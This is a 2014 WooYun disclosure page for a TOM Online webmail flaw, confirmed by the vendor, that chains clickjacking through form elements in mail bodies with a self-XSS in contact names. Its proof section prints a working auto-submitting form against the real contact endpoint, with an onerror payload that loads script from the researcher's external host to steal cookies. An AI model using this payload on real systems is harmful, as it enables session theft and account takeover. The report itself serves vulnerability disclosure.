当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-051922

漏洞标题:尝试用一种新的姿势xTom邮箱(clickhijack)

相关厂商:TOM在线

漏洞作者: ylaxfcy

提交时间:2014-02-25 11:45

修复时间:2014-04-11 11:46

公开时间:2014-04-11 11:46

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-25: 细节已通知厂商并且等待厂商处理中
2014-02-27: 厂商已经确认,细节仅向厂商公开
2014-03-09: 细节向核心白帽子及相关领域专家公开
2014-03-19: 细节向普通白帽子公开
2014-03-29: 细节向实习白帽子公开
2014-04-11: 细节向公众公开

简要描述:

其他很多姿势大家都提交过了,本篇用两个看起来不起眼的小洞来搞一发xss。
想象力什么的很重要的

详细说明:

在邮件正文处由于支持<form>和<input>,所以可以利用之来构造点击劫持
在写信出,联系人未过滤,有一个自己xss自己

t0.png


填好邮件,抓包改包

t3.png


构造一个和快速回复一样的框框(我就不画了,意会)

t4.png


当用户点击你画出来的那个框框的回复时,你的常用联系人里多了这个

t6.png


当你再次点击写信时候,触发xss

漏洞证明:

show u the cookie

t8.png


那个脚本里面是这个

<form action="http://web.mail.tom.com/webmail/contact/contactmanage.action" method="post" id="tom_form">
<input type="text" value="<img src=1 onerror=document.body.appendChild(document.createElement('script')).src='http://ylaxfcy.500yun.com/xxxxssxxx.js'>" name="contactName"/>
<input type="text" value="test@qq.com" name="contactEmail" />
<input type="text" value="addcontact" name="type" />
<input type="text" value="1" name="contactBirth_m" />
<input type="text" value="1" name="contactBirth_d" />
<input type="submit" />
</form>
<script type="text/javascript">
var tom_form = document.getElementById('tom_form');
tom_form.submit();
</script>


修复方案:

大洞小洞一起补,有时候自己xss自己也是有用的哦~

版权声明:转载请注明来源 ylaxfcy@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:4

确认时间:2014-02-27 16:36

厂商回复:

非常感谢您对TOM在线的帮助,我们会尽快做出处理。我们为支持TOM在线的发布者创建了一个技术交流QQ群:,希望您以及更多的成员加入,大家共同交流。

最新状态:

暂无


漏洞评价:

评论